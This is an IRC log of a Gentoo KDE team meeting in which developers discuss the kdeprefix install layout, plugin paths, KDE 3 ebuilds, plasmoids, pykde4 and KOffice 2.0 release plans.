+21:18 <@jmbsvicetto> cryos|work: I would like to get your opinion about this issue
+21:18 <+reavertm> you had quassel built againd live that didn;'t work with 4.2
+21:19 <+reavertm> because so far it was like this - having 4.2 and -9999 - apps were bult againt *the newest* kde
+21:19 <@cryos|work> At least now KDE will work if built against an old KDE and linked to a newer one.
+21:19 <@scarabeus> yes 
+21:19 <@jmbsvicetto> cryos|work: We've talked a lot about this and tried to reach a compromise that would satisfy everyone, so I would like that any change gets our support
+21:19 <@cryos|work> So building against 4.2 and linking to live should work, assuming no one screwed up and I do that a lot.
+21:19 <@scarabeus> yes it have to wor
+21:19 <@scarabeus> the cant break abi
+21:19 < spitfire_> reavertm: sry to interrupt but for example quassel never finds kde-live, always builds against 4.2
+21:19 <+reavertm> actually there's RPATH
+21:20 <+reavertm> if we drop RPATH then we may start worrying about linkage problems
+21:20 <@cryos|work> It doesn't have to - people screw up... And there is RPATH which can force linking to a particular path.
+21:20 <@jmbsvicetto> scarabeus: that's the "theory", but that's not their practice
+21:20 <@alexxy> spitfire_: later
+21:20 <@scarabeus> indeed
+21:20 <@cryos|work> jmbsvicetto: They do pretty well on the whole, but RPATH alleviates issues with screw ups too...
+21:20 <+reavertm> (and I'm going to drop rpath for -kdeprefix)
+21:20 <+reavertm> (btw)
+21:20 <@jmbsvicetto> cryos|work: all the mess with libplasma, phonon, kdeartwork-kscreensaver, ...
+21:21 <+reavertm> phonon is kdeprefix problem
+21:21 <@cryos|work> Like I said, they do pretty well... ABI is really tough to keep stable...
+21:21 <+reavertm> it install kde4 plugins
+21:22 <+reavertm> adding QT_PLUGIN_PATH to /usr/lib64/kde4/plugins could possibly solve it
+21:22 <@jmbsvicetto> cryos|work: The problem is that 4.0 was nowhere where they wanted it to be, so they've realized many things required changes
+21:22 <@cryos|work> Yeah, I know... Mixing versions is always really tough to get right too.
+21:22 <+reavertm> 4.3 is meant to be ABI compliany with 4.2
+21:23 <@scarabeus> ok how about removing prefix totaly
+21:23 <@scarabeus> and have live/stable
+21:23  * jmbsvicetto looks at bonsaikitten 
+21:23 <@scarabeus> so live apps are their own env
+21:23 <@scarabeus> and the stable is /usr
+21:23  * reavertm doesn't get it
+21:23 <+reavertm> where does live go?
+21:23 <@scarabeus> on the live note we can generate snapshots (weekly)
+21:23 <@scarabeus> /usr/kde/live/
+21:24 <@scarabeus> everything live
+21:24 <@bonsaikitten> jmbsvicetto: what!
+21:24 <+reavertm> how is this different from current situation?
+21:24 <@scarabeus> i still prefer your solution
+21:24 <@jmbsvicetto> scarabeus: To be honest, I'm losing the "motivation" to keep hammering about kdeprefix, but that was the major issue I had to deal with when we started working back in KDE
+21:24 <@scarabeus> reavertm: that there wont be kdeprefix anywhrere else than in live
+21:24 <@jmbsvicetto> scarabeus: That's why I've resisted so long to dropping it
+21:24 -!- ali_bush [n=alistair@gentoo/developer/alibush] has quit [Remote closed the connection]
+21:24 <@scarabeus> jmbsvicetto: well reavers approach is working with +kdeprefix and keeping good usability
+21:24 <@jmbsvicetto> bonsaikitten: Do you still care about kdeprefix or not?
+21:25 <@scarabeus> trust me it is  500% better than current solution of mine
+21:25  * cryos|work has also grown tired of the back and forth... Just want a reasonably stable env for users, and a solution for developers....
+21:25 <@alexxy> kdeprefix can be masked 
+21:25 <@jmbsvicetto> bonsaikitten: As I recall, you also felt it was important to have it and to allow users to mix versions
+21:25 <+reavertm> well, it's not working yet :P
+21:25 <@bonsaikitten> jmbsvicetto: my opinion hasn't changed since it was introduced
+21:25 <@alexxy> so users who sant it will unmask it
+21:25 <+reavertm> (plugins are not loaded properly - amarok issue)
+21:25 <@alexxy> but its good fature to have more then one kde release installed
+21:26 <@scarabeus> i would say lets see how it work and we can roll it out with 4.2.3
+21:26 <+reavertm> what's all with this masking kdeprefix?
+21:26 <+reavertm> you can use.force it if you like :P
+21:26 <@jmbsvicetto> cryos|work / bonsaikitten: So, what do you say about this?
+21:26 <@scarabeus> i am for reavers solution
+21:27 <@cryos|work> Honestly, I am no longer certain what is being proposed. I feel like we really need to pick a solution and try to stick with it. The Apache team went back and forth over a few years and drove many users away...
+21:27 <@alexxy> reavertm's solutions better for misk packages 
+21:27 <+reavertm> my idea (if it works) is to be possible to have kdeprefixed releases and the rest in /usr (accessible from any kde installed)
+21:27 <@jmbsvicetto> I guess I'll swallow kdeprefix at this time and will try to force me to look at the build system to allow the multiple versions / better split of packages
+21:27 <@bonsaikitten> jmbsvicetto: I haven't followed the discussion enough to have useful input
+21:28 <@jmbsvicetto> cryos|work / bonsaikitten: Then if you don't oppose, I say we try reavertm's approach
+21:28 <@scarabeus> bonsaikitten: kdeprefix for kde-base, misc apps into /usr including live misc apps
+21:28 <@bonsaikitten> sounds acceptable
+21:28 <@bonsaikitten> as I haven't contributed anything relevant in a while I don't see why I should be the decider
+21:28 <@scarabeus> ok majority already agreed
+21:28 <+reavertm> well,  there's nothing spectaculat to try now, if it works then we'll see - i need to handle this plugins paths 1st
+21:29 <@cryos|work> I can live with it, I would rather be able to put misc live apps in /usr/kde/live too, but can likely hack the ebuilds I care about...
+21:29 <@jmbsvicetto> cryos|work / bonsaikitten: If in the end we realize we lost some flexibility, that will only serve to foster the need to look for the real solution (imho) - fixing the build system
+21:29 <@bonsaikitten> jmbsvicetto: acceptable :)
+21:29 <@scarabeus> bonsaikitten: could you fix at least 258027
+21:29 <+reavertm> actually there's not a problem with restoring kdeprefix for misc apps, but
+21:29 <@cryos|work> So you are going to try and mix multiple versions in /usr?
+21:29 <+reavertm> live kde-misc would nee to have separate prefix :P
+21:30 <@jmbsvicetto> cryos|work: I think that's the "final" solution
+21:30 <@jmbsvicetto> cryos|work: I don't have any particular skill or knowledge to get it done, though
+21:30 <@cryos|work> That sounds amazingly tough to pull off.
+21:30 <@cryos|work> Not this solution though?
+21:30 <+reavertm> ok, cryos|work what's your proposition?
+21:30 <@bonsaikitten> scarabeus: oh ... let's see
+21:31 <+krytzz> hm... would that allow to mix 4.2 kdelibs and live kde-misc stuff for example?
+21:31 <+reavertm> maybe it apperas easier to handle than kde-misc in /usr
+21:31 <@cryos|work> I don't have one, more trying to understand what this proposal is planning on changing.
+21:31 <@jmbsvicetto> cryos|work: That solution isn't "compromised" for the current proposal
+21:31 <@scarabeus> the current pospal is easing major bumps, lets stick with it for 4.3 and then we can think about updating the build system
+21:31  * cryos|work was just trying to figure out if he understood what *this proposal* encompassed.
+21:32 <+reavertm> ok, let me summarize
+21:32 <+reavertm> the problem with kdeprefix for kde-misc apps is as follows :
+21:33 <+reavertm> let's say we have taglib-extras
+21:33 <+reavertm> it has optional kde integration
+21:34 <@cryos|work> So you are concerned with corner cases?
+21:34 <+reavertm> still it's just typical lib and should be accessed globally - it would be nice for it to not be kde-prefixed
+21:34 <+reavertm> or any other app - like amarok - I want it installed and used from any KDE4 i have (and I have 4.2, 4.3, live)
+21:34 <@cryos|work> I totally agree. I was the one who wanted to throw everything in /usr apart from development builds where people got to pick up the pieces themselves...
+21:35 <@cryos|work> If I develop on amarok I can write a custom ebuild if I want it in my /usr/kde/live as any dev can, so the impact is not terrible.
+21:35 <@cryos|work> I was more trying to confirm the scope of the changes proposed.
+21:36 <@jmbsvicetto> reavertm: The only issue I see and the reason for the kdeprefix is if you have k3b-1.* working and want to follow k3b-2.* (which I think is still broken), you're not willing to have to choose between one or the other
+21:36 <@jmbsvicetto> reavertm: But as stated, I'm going to drop my "resistance"
+21:36 <+reavertm> k3b-1 will be installed in kde3 prefix so i am told
+21:36 <+reavertm> (tampakrap?)
+21:36 <@cryos|work> That was my concern, but those users could be out of luck...
+21:36 <@cryos|work> At some stage having too much choice can spread us too thin.
+21:37 <@cryos|work> Many distros are just dropping KDE 3 entirely already.
+21:37 <@jmbsvicetto> cryos|work: yeah. The problem is that some users have been mailing us asking us not to do it
+21:37 <@scarabeus> ok put it straight: lets just comfor for now on that we are going to support unprefixing misc apps
+21:37 <@jmbsvicetto> cryos|work: And I think we haven't convinced everyone in the kde team that kde-4 is better
+21:37  * jmbsvicetto looks at yngwin 
+21:37 <@cryos|work> I am not proposing we do - I am just pointing out what is happening.
+21:38 <@jmbsvicetto> cryos|work: I agree
+21:38 <@cryos|work> I think many distros dropped KDE 3 too soon.
+21:38 <+reavertm> kdeprefix as great idea and flexibility it adds, it's pain in ass to mantain :P
+21:39 <@cryos|work> I was more making the point that Gentoo has such an extreme amount of choice compared to other distros we could end up chasing bugs no-one else cares about that only crop up in slotted envs.
+21:39 <+reavertm> (btw, eselect for kde is not required)
+21:39 <@cryos|work> Reducing overall quality which is bad. Not claiming I have the answer either... ;-)
+21:40 <@scarabeus> :]
+21:40 <@jmbsvicetto> we're all brainstorming ;)
+21:40 <@jmbsvicetto> tampakrap: How's your work on the kde3 eclasses going?
+21:41 <@cryos|work> I am very attached to Gentoo and KDE. I don't want to see it go to crap, don't have as much time as I would like these days.
+21:41 <@tampakrap> eclasses are ready
+21:41 <@tampakrap> i'm still on the ebuilds
+21:41 <@scarabeus> and the packages are compilling fine?
+21:41 <@jmbsvicetto> tampakrap: kdeprefix isses on kde4 are hurting us, but colisions with kde3 apps are doing us more harm (imho)
+21:41 <@cryos|work> Bumped avogadro for the super nerdy people who want to play though ;-)
+21:41 <@tampakrap> i'll tell you what i need
+21:41 <@tampakrap> if there are two people willing to test kde3 misc apps that would be greate
+21:42 <@tampakrap> great
+21:42 <@scarabeus> herd testers i bet
+21:42  * wired raises hand
+21:42 <@yngwin> evening
+21:42 <@scarabeus> also write mail to desktop and dev
+21:42 <+wired> yngwin: =]
+21:42 <@jmbsvicetto> tampakrap: with kde4 env?
+21:42 <@alexxy> cryos|work: i'll test it with students (avogadro)
+21:42 <+reavertm> btw, masking kdeprefix is good idea for typical users
+21:42  * yngwin completely forgot about the meeting, sry
+21:42 <@tampakrap> i'll prepare a list with the packages and eapi2 as well them
+21:42 <@jmbsvicetto> tampakrap: if so, I can do some tests
+21:42 <@cryos|work> alexxy: Great - I fixed the desktop file among many other things...
+21:42 <@tampakrap> i'm on kde-base only still
+21:42 <@alexxy> reavertm: yep
+21:43 <+reavertm> I guess it should be done when 4.2.2 is introduced
+21:43 <@cryos|work> reavertm: That was always my point - typical users don't want/understand kdeprefix. If they do they will unmask and use.
+21:43 <@alexxy> i think kdeprefix is not for users
+21:43 <@alexxy> =)
+21:43 <@cryos|work> It is awesome for devs/power users though.
+21:43 <+wired> many users activate it without knowing though, mask++
+21:43 <+krytzz> hm... i thought gentoo is for powerusers?
+21:43 <@jmbsvicetto> cryos|work: iirc, kdeprefix is no longer an IUSE default
+21:44 <+reavertm> I want 4.2.2 stable in portage, so let make it easier for users to use
+21:44  * yngwin is with krytzz
+21:44 <@scarabeus> krytzz: you. sent. ssh key. me. now
+21:44 <@cryos|work> jmbsvicetto: I didn't know it ever was.
+21:44 <+reavertm> jmbsvicetto: yeah, but still users see USe flag and enable it out of curiosity :P
+21:44 <+wired> krytzz: the definition of a poweruser is amazingly flexible these days....
+21:44 <+krytzz> scarabeus: ok, few minutes
+21:44 <+krytzz> wired: ok well
+21:44 <@scarabeus> cryos|work: YOU CHANGED IT TO ENABLED BY DEFAULT FIRST :D
+21:44 <@scarabeus> heh caps
+21:45 <@cryos|work> Many Gentoo users are not what I would call power users, but I guess by definition we have more advanced users than *buntu for example..
+21:45 <@cryos|work> scarabeus: For :live only!
+21:45 <+wired> we also have a lot of users who'd want to be powerusers 
+21:45 <@alexxy> he he =)
+21:45 <+wired> =]
+21:45 <@yngwin> i'd say gentoo targets powerusers
+21:46 <@yngwin> doesnt mean all our users are tho
+21:46 <@jmbsvicetto> reavertm: well, that's the same thing as CFLAGS. Gentoo's policy has never been to hide it from the user - even if that leads to user bitting himself in the rear ;)
+21:46 <+krytzz> wired: lol
+21:46 <+reavertm> btw, our existing problems with kdeprefix *only* phonon and pykde
+21:47 <@jmbsvicetto> reavertm: +affect?
+21:47 <@scarabeus> ok back on topic tampakrap are you able to get needed stuff around here or you need our direct intervention (ak more devs searching for testing monkeys?)
+21:47 <+reavertm> jmbsvicetto: hmm?
+21:47 <@tampakrap> no just some testing mostly
+21:48 <@tampakrap> i don't think we should waste more manpower on kde3
+21:48  * wired now that we're all here, can someone pretty please cp the latest .2 tbz2s to d.ge.o?
+21:48 <@jmbsvicetto> reavertm: never mind
+21:48 <+reavertm> ah, right - phonon and pykde4 - the only really kdeprefix *issue*
+21:48 <+reavertm> the rest is just inconvenience
+21:49 <@jmbsvicetto> reavertm: The phonon issue is mostly upstream "hard-coding" the plugins location, right?
+21:49 <@scarabeus> ok so kde3 is moving forward, i would say that we need to have it done by end of april some time on may... so we can actualy stable the kde4
+21:49 <+reavertm> I can easily not drop kdeprefix and install 3rd party apps with kde they were built against (still changing need_kde behaviour)
+21:50 -!- smith_ [n=smith_@adsl-62-167-36-86.adslplus.ch] has joined #gentoo-kde
+21:50 <+reavertm> phonon issue is bunding KDE plugins with phonon
+21:50 <@jmbsvicetto> scarabeus: we need to go for 3.5.10 stable *soon*
+21:50 <@scarabeus> jmbsvicetto: btw i would like to mask the kde
+21:50 <@scarabeus> jmbsvicetto: old nonsplit stuff i mean
+21:50 <+reavertm> hence, phonon should be in location visihble by all KDE releases
+21:50 <@jmbsvicetto> 3.5.9?
+21:50 <+reavertm> or kdeprefixed
+21:51 <@scarabeus> jmbsvicetto: yes
+21:51 <@jmbsvicetto> scarabeus: Not without 3.5.10 stable!
+21:51 -!- mikkoc [n=mikko@host254-81-dynamic.7-79-r.retail.telecomitalia.it] has quit [Read error: 60 (Operation timed out)]
+21:51 <@jmbsvicetto> scarabeus: unless you're the one doing it and I can redirect all bugs, mails, threats, ... to you :P
+21:51 <@yngwin> well, we can leave split 3.5.9 unmasked, and just mask the monolithic pkgs
+21:52 <@jmbsvicetto> yngwin: we could, but we have quite vocal users already complaining about the drop of the monos for 3.5.10
+21:52 <+reavertm> or just put proper blocks
+21:52 <@yngwin> then when 3.5.10 is stable, we can mask the rest
+21:52 <@yngwin> jmbsvicetto: well, too bad, i'd say
+21:52 -!- mikkoc [n=mikko@host182-164-dynamic.56-82-r.retail.telecomitalia.it] has joined #gentoo-kde
+21:52 <@jmbsvicetto> ok
+21:52 <@yngwin> or someone must stand up to become monolithic maintainer
+21:53 <+reavertm> jmbsvicetto: who are those vocal users?
+21:53 -!- anselmolsm_ [n=anselmo@200.184.118.130] has joined #gentoo-kde
+21:53 <+reavertm> devs by occasion?
+21:53 <@jmbsvicetto> reavertm: no
+21:53 <+reavertm> idf so, let them step up to maintain :P
+21:53 -!- anselmolsm [n=anselmo@200.184.118.130] has quit [Read error: 113 (No route to host)]
+21:54 <@jmbsvicetto> reavertm: hehe, wait until you become a dev and you'll see how "demanding" some users can be ;)
+21:54 <+reavertm> and what was basis for their objections?
+21:54 -!- anselmolsm_ is now known as anselmolsm
+21:55 <+reavertm> write migrating guide (if there's no already) and that's all. period
+21:55 <@yngwin> we've had that for years
+21:55 <@scarabeus> yeah i was speaking about the monos
+21:55 <@jmbsvicetto> Some people just want monos. I haven't seen many and in particular good motives. But they want them, nonetheless
+21:55 <+reavertm> Qt4 split was much more difficult yet it was done
+21:55 <+reavertm> jmbsvicetto: I want reiser4 in gentoo-sources and?
+21:55 <@jmbsvicetto> ok, ok
+21:56 <+reavertm> some people want some things and they won't have it nevertheless :P
+21:56 <@yngwin> use hitchhiker-sources then
+21:56 <@jmbsvicetto> When they knock at my door I'll be sure to point them somewhere else ;)
+21:56  * cryos|work has a meeting... Bye!
+21:56 <+krytzz> bye
+21:56 <@jmbsvicetto> bye cryos|work 
+21:56 <+reavertm> jmbsvicetto: let me brainwash them then
+21:56 <+reavertm> bye cryos|work
+21:56 <+wired> bye cryos|work 
+21:56  * cryos|work will try to contribute more this month!
+21:56 <@jmbsvicetto> scarabeus: sorry for the disturbance.
+21:57 <@jmbsvicetto> So, about kdeprefix we're done, right?
+21:57 <@scarabeus> bb
+21:57 <@scarabeus> yes
+21:57 <@scarabeus> kde3 and kdeprefix is done
+21:57 <@jmbsvicetto> about 3.5 tampakrap will do more tests and is searching for people to help with kde-misc apps
+21:57 -!- mx-tvt [n=quassel@bl9-29-140.dsl.telepac.pt] has quit [Read error: 110 (Connection timed out)]
+21:57 <+reavertm> I'll see what i can do - anyway i propose some my changes in eclass anyway as it's much shorter and easier to read now
+21:57 <@jmbsvicetto> scarabeus: What's next?
+21:58 <+reavertm> plasmoids to tree
+21:58 <+reavertm> pros/cons :)
+21:58 <@scarabeus> yeah i think we can start adding them
+21:58 <@scarabeus> we cook them since pre 4.1 and still in the overaly
+21:58 <@scarabeus> so lets make users happy
+21:58 <+reavertm> I haven't tested all of them yet
+21:58 <@jmbsvicetto> They're in kde-misc now, right?
+21:59 <@scarabeus> i will add only those i personaly tested
+21:59 <@yngwin> reavertm: that's what ~arch is for
+21:59 <@yngwin> :p
+21:59 <@scarabeus> jmbsvicetto: yes i did the move, actualy forced wire to move it
+21:59 <+wired> i've tried them all at least once
+21:59 <@jmbsvicetto> scarabeus: In that case I have nothing to say ;)
+21:59 <+reavertm> anyway i already found one problem - systemmontor or sth has been moved to kdeplasma-addons and conflicts with kdeplasma-addons:live
+21:59 <@scarabeus> ok i just want to hear OK :D
+21:59 <+reavertm> about plasmoids
+21:59 <+wired> most of them get regular updates btw and there are a lot more available in kde-look
+21:59 <+reavertm> let me check them 1st
+21:59 <@jmbsvicetto> reavertm: we can add a block on a slot package
+22:00 <+reavertm> I fixed most deps in kde-misc but still something may be wrond there
+22:00 <+wired> i think most plasmoids are simple enough to be safely added to ~
+22:00 <+reavertm> wired applied blocks already
+22:00 <@scarabeus> ok this one was quick
+22:00 <@scarabeus> so we just test them and start moving
+22:00 <@scarabeus> :]
+22:01 <@scarabeus> next is printing
+22:01 <@scarabeus> reavertm: how is it looking
+22:01 <+reavertm> printing..
+22:01 <@jmbsvicetto> scarabeus: what are we missing? The deps?
+22:01 <@scarabeus> jmbsvicetto: we have everything
+22:01 <@scarabeus> jmbsvicetto: the problem is it pulls half of gnome
+22:01 <+reavertm> if I leave it as it is now - system-config-printer-kde is done, printer-applet not yet
+22:01 <+reavertm> scarabeus: no longer
+22:01 <@scarabeus> the better then
+22:02 <@scarabeus> ok so i will coordinate it with you after 4.2.2 is released (weekend probably)
+22:02 <@scarabeus> reavertm: agreed
+22:02 <@scarabeus> ?
+22:02 <+reavertm> just let me finish printer-applet the way I did system-config-printer-kde (taking some files from system-config-printer) and they can go
+22:02 <+reavertm> scarabeus: yeah
+22:03 <@scarabeus> ok cool then
+22:03 <@scarabeus> jmbsvicetto: do we have any response on the snapshot thingie?
+22:03 <+reavertm> I made system-config-printer-kde is totally independent from system-config-printer
+22:03 <@jmbsvicetto> Not that I have seen
+22:03 <@jmbsvicetto> scarabeus: I sent the mail 2 days ago, though.
+22:03 <@alexxy> so they simply ignoring us
+22:03 <@scarabeus> jmbsvicetto: ok so alexxy will have to do it himself for all the time
+22:04 <@jmbsvicetto> scarabeus: I think as cryos|work was suggesting, we ignore them for now and keep doing the work alexxy is doing
+22:04 <@scarabeus> alexxy: btw i heared some noise about l10n not working
+22:04 <@alexxy> scarabeus: its working for -kdeprefix
+22:04 <+reavertm> Dirk was in kde-devel for a minute
+22:04 <@alexxy> didnt test it with +kdeprefix 
+22:04 <@alexxy> =)
+22:04 -!- mkyral [n=maros@nezmar.jabbim.cz] has left #gentoo-kde []
+22:04 <@scarabeus> ok then it is their issue they can fix it
+22:05 -!- sIbOk [i=sNOUbOR@56.Red-80-36-227.staticIP.rima-tde.net] has joined #gentoo-kde
+22:05 <@scarabeus> jmbsvicetto: again one more on you
+22:05 <@scarabeus> jmbsvicetto: how is dead member removing
+22:05 <@scarabeus> going on
+22:05 <@jmbsvicetto> I'm going to go over the retirement bugs (I think a few of them have already retired) and will then send mails to the folks that haven't been around for a long time
+22:06 <@jmbsvicetto> I'll have the page cleaned by next meeting
+22:06 <@scarabeus> ok
+22:07 <@scarabeus> pykde
+22:07 <@scarabeus> bonsaikitten: 
+22:07 <@scarabeus> so you say it works
+22:07 <@scarabeus> despite the bugs in bugzilla
+22:07 <@bonsaikitten> I haven't been able to reproduce
+22:07 <+reavertm> problem with pykde4 is kdeprefix
+22:07 <@bonsaikitten> I guess I'll need to change my testing strategy :)
+22:07 <+reavertm> all kde installs pykde4 in site-packages
+22:07 <@jmbsvicetto> reavertm: build or runtime error?
+22:07 <@alexxy> so lets mask kdeprefix use flag
+22:07 <@alexxy> =)
+22:07 <+reavertm> install
+22:07 <@alexxy> like it was for networkmanager
+22:07 <+reavertm> so - two choices
+22:07 <@scarabeus> there was sip buildtime errors
+22:08 <+reavertm> make eselect module or slot them properly
+22:08 <@jmbsvicetto> reavertm: I have pykde-4.2.1 installed with +kdeprefix here
+22:08 -!- kamik [n=quassel@dslb-088-065-079-200.pools.arcor-ip.net] has joined #gentoo-kde
+22:08 <+reavertm> so that pykde4 live will go to /usr/kde/live and so on
+22:08 <+reavertm> jmbsvicetto: install pykde4-9999 as well
+22:08 <+reavertm> you need package.provided entry now to do it
+22:09 <@jmbsvicetto> reavertm: I'm not running live ebuilds here
+22:09 <+reavertm> well, some people are :)
+22:09 <@jmbsvicetto> sure, I'm just conveying my experience here
+22:09 <@scarabeus> one +kdeprefix is ok
+22:09 <@scarabeus> more than one kdeprefix is fail
+22:09 <@scarabeus> for pykde
+22:09 <@jmbsvicetto> ah, ok
+22:10 <+reavertm> hell, it even install files in /usr/share/sip
+22:10 <+reavertm> (apart from site-packages)
+22:11 <+reavertm> bonsaikitten: some QA  notice says that precompiled modules need to go to site-packages
+22:11 <@bonsaikitten> :(
+22:11 <+reavertm> is it possible to create external site packages in kde slot? (/usr/kde/4.2 etc)
+22:12 <+reavertm> and set some PYTHON_PATH or whatever in startkde?
+22:12 <@jmbsvicetto> This is why having multiple versions around in /usr is going to be "messy" :\
+22:13 <+reavertm> bonsaikitten: what useful python env variables do you know that would help here? :)
+22:13 <@jmbsvicetto> reavertm: perhaps the correct solution here would be to remove the python files and have a single package that is used by all versions?
+22:13 <+reavertm> that is also possible but...
+22:14 <+reavertm> pykde4 happeds to install /usr/kde/live/lib64/kde4/kpythonpluginfactory.so
+22:14 <+reavertm> which is in kdeprefixed location
+22:14 <@jmbsvicetto> if they didn't break abi compatibility, it should be possible to use the latest pykde version with earlier 4.X releases
+22:14 <+reavertm> installing it in /usr prefix is the same thing like installing kde-misc in /usr
+22:15 <+reavertm> (may not work - like this plugin thing I'm struggling with)
+22:16 <+reavertm> yes, I'm not worrying about linking, it should work - still ebuild would need some tweaks to make it build not agains kde release it is from but minimal installed
+22:16 <@jmbsvicetto> reavertm: pkgconfig!!
+22:16 <@scarabeus> he he he
+22:16 <@scarabeus> again prefix you
+22:16 <@scarabeus> SILENCE
+22:16 <@scarabeus> :D
+22:17 <+reavertm> what is pkgconfig going to solve?
+22:17 <@alexxy> lets mask kdeprefix =)
+22:17 <+reavertm> buildig is no longer an issue :P
+22:17 <+reavertm> running is :)
+22:17 <@jmbsvicetto> If they were using autotools they could use pkgconfig to chose the minimum so version needed
+22:18 <+reavertm> jmbsvicetto: ah, eclass does it already 
+22:18 <+reavertm> (picks lowest kdelibs, yet >=KDE_MINIMAL)
+22:18 <@scarabeus> ok i gues we are done with the pykde :P
+22:18 <+reavertm> are we?
+22:18 <@yngwin> hardmask?
+22:18 <+reavertm> what's the solution then :P
+22:18 <@scarabeus> yeah lets kitten handle it
+22:19 <@scarabeus> also write whiny mail on dev
+22:19 <+reavertm> I'd slot the f*er
+22:19 <@jmbsvicetto> scarabeus: hehe - solution? hand it over to Patrick ;)
+22:20 <+reavertm> along with phonon
+22:20 <@scarabeus> jmbsvicetto: yup
+22:20 -!- cypr1nus [n=cypr1nus@plus.ds14.agh.edu.pl] has quit [Read error: 104 (Connection reset by peer)]
+22:20 <@scarabeus> (i am practising my "solid-rock" face)
+22:20 <+reavertm> or ,If I get plugins in /usr to work, it will be solved
+22:20 <@scarabeus> :]
+22:21 <@scarabeus> so, um, what was next, ah, koffice2
+22:21 <@jmbsvicetto> reavertm: I haven't looked at that in a long time, but can't you specify more than 1 RPATH?
+22:21 <@jmbsvicetto> reavertm: more than 1 dir in RPATH
+22:21 <+reavertm> RPATH is not problem, they are all linked well, just app can't find those plugins
+22:21 <@jmbsvicetto> isn't it supposed to look in the compiled RPATH?
+22:22 <+reavertm> I am yet to check some things
+22:22 <+reavertm> for plugins? no
+22:22 <+reavertm> RPATh is just for linker
+22:22 -!- neuron [n=neuron@85.252.65.217] has joined #gentoo-kde
+22:23 -!- Civil [n=Civilian@95-24-156-60.broadband.corbina.ru] has quit [Remote closed the connection]
+22:23 <+reavertm> if plugins are in /usr/kde/XXX/lib64/kde/ and /usr/kde/XXX/lib64/kde/plugins - app needs to know where to find them
+22:24 <+reavertm> (usually just works if app was comopiled against kde XXX and istalled in /usr/kde/XXX
+22:24 <+reavertm> otherwise it fails to find them even when KDEDIRS and QT_PLUGIN_PATh is pointed there
+22:25 <+reavertm> yet I'm to test some things so we'll see - it should work somehow
+22:25 -!- cypr1nus [n=cypr1nus@plus.ds14.agh.edu.pl] has joined #gentoo-kde
+22:25 -!- looonger [n=looonger@host-89-231-128-7.rawamaz.mm.pl] has quit [Client Quit]
+22:25 <+reavertm> I have manually compiled kdevelop in ~/kde4 and my KDEDIRS just points there and it workds
+22:26 <+reavertm> so maybe it's something with building it gentoo way
+22:26 <+reavertm> (I guess I'll try kdeprefix-less kdevelop...)
+22:27 -!- _Phlogi [n=quassel@138-135.1-85.cust.bluewin.ch] has joined #gentoo-kde
+22:27 <+reavertm> ok, what's next?
+22:27 -!- non7top [n=non7top@94.77.134.21] has quit [Remote closed the connection]
+22:27 <@scarabeus> koffice
+22:28 <+reavertm> I built kword and it works
+22:28 <@scarabeus> the state is i fixed the crap
+22:28 <@scarabeus> it works
+22:28 <@scarabeus> problem is that it is not much usable
+22:28 <@scarabeus> they are going to release it at the end of this month
+22:28 <@scarabeus> so i will add it to the tree
+22:28 <+reavertm> 2.0? oh crap
+22:28 <@scarabeus> but i am not sure if it should go masked or not
+22:28 <@scarabeus> 2.0 indeed
+22:29 <+krytzz> released? oh zomg :p
+22:29 <@jmbsvicetto> scarabeus: maybe we should get an rc in the tree first, no?
+22:29 <@scarabeus> jmbsvicetto: ideas?
+22:29 <@scarabeus> well i have the tarball and it is just matter of renaming
+22:29 <@scarabeus> anyone can do it
+22:29 <@jmbsvicetto> scarabeus: the rc could be masked and pending bug reports, 2.0 would be unmasked or not
+22:30 <@jmbsvicetto> The 2.0 tarball?
+22:30 <+reavertm> btw, let someone just in any case look at those ebuilds and see whether deps are correct (rdepend, depend, commondepend handled carefully)
+22:30 <@scarabeus> yeah i am worried about it and in doubts
+22:30 <@scarabeus> it definetly is stable
+22:31 <@scarabeus> but it lacks some features and it looks just ugly
+22:31 <@tampakrap> i like the :live one though
+22:31 <@tampakrap> haven't tested the releases
+22:31 <@tampakrap> maybe we can create snapshots
+22:32 <@scarabeus> what for
+22:32 <@scarabeus> i have todays taged rc1
+22:32 <@scarabeus> :D
+22:32 <@tampakrap> ok then
+22:32 <+reavertm> KOffice 1.9.99.0 RC1 uploaded
+22:32 <@scarabeus> not yet, it is on ktown :]
+22:32 <+reavertm> just pasted announcement
+22:32 <@scarabeus> jmbsvicetto: so what do you thing the stable at the end of the month as pure testing or hardmasked?
+22:33 <@jmbsvicetto> I haven't used koffice myself, so I'm not sure
+22:34 <@jmbsvicetto> But if you're in doubt, try pusing something masked into the tree and check for bug reports
+22:34 <@scarabeus> ok
+22:34 <@scarabeus> good idea
+22:35 -!- Varox [n=Varox@p4FD44E52.dip.t-dialin.net] has joined #gentoo-kde
+22:35 <@scarabeus> last thing on the list:
+22:35 <@scarabeus> moving the meeting date
+22:35 <@scarabeus> i would like to see meeting 14 days before upstream release for public
+22:35 <@jmbsvicetto> pushing*
+22:35 <@jmbsvicetto> scarabeus: releases what? ;)
+22:36 <@tampakrap> we don't have much to talk before release i think
+22:36 <@scarabeus> kde
+22:36 <@scarabeus> we are kde team
+22:36 <@tampakrap> after release is everything that comes in surface
+22:36 -!- sIbOk [i=sNOUbOR@56.Red-80-36-227.staticIP.rima-tde.net] has quit ["kUALKIER hiJO dE pUTA sAbE lO q dARTE sI tIENE q dOLERTE pERO No kUALKIER hiJO dE pUTA sABE lO q dARTE sI tIENE q gUSTARTE, y]
+22:37 -!- helch [n=helch@212-41-103-166.adsl.solnet.ch] has quit [Remote closed the connection]
+22:38 <@scarabeus> hmm
+22:38 <@scarabeus> what does other think?
+22:39 <+krytzz> hm 
+22:39 -!- Phlogi [n=quassel@138-135.1-85.cust.bluewin.ch] has quit [Read error: 110 (Connection timed out)]
+22:40 <+wired> maybe a week is enough?
+22:40 <+krytzz> i would agree with tampakrap i think, but i have nothing against short-dated meetings
+22:40 <@jmbsvicetto> scarabeus: floating schedule or point to 3rd Thursday of the month?
+22:40 <@scarabeus> 3rd thursday i had on my mind
+22:40 <+krytzz> when $PANIC_LEVEL reaches 10 would be good :p
+22:41 <@scarabeus> well or 4th week
+22:41 <@jmbsvicetto> krytzz: Isn't it too late by then? ;)
+22:41 <@scarabeus> the problem is that release is today
+22:41 <+krytzz> k... 9? :p
+22:41 <@jmbsvicetto> scarabeus: 4th will hit council meetings
+22:41 <@scarabeus> ok i will write to summary what ever you decide :]
+22:42 <@jmbsvicetto> I think 3rd would be better, but am open to other dates
+22:42 <@yngwin> 3rd sounds good
+22:43 -!- MaNI [n=malcolm@dsl-247-169-66.telkomadsl.co.za] has joined #gentoo-kde
+22:45 <@scarabeus> ok i go for 3rd too then
+22:45 <@jmbsvicetto> So, what are we missing?
+22:45 <@tampakrap> one last joke
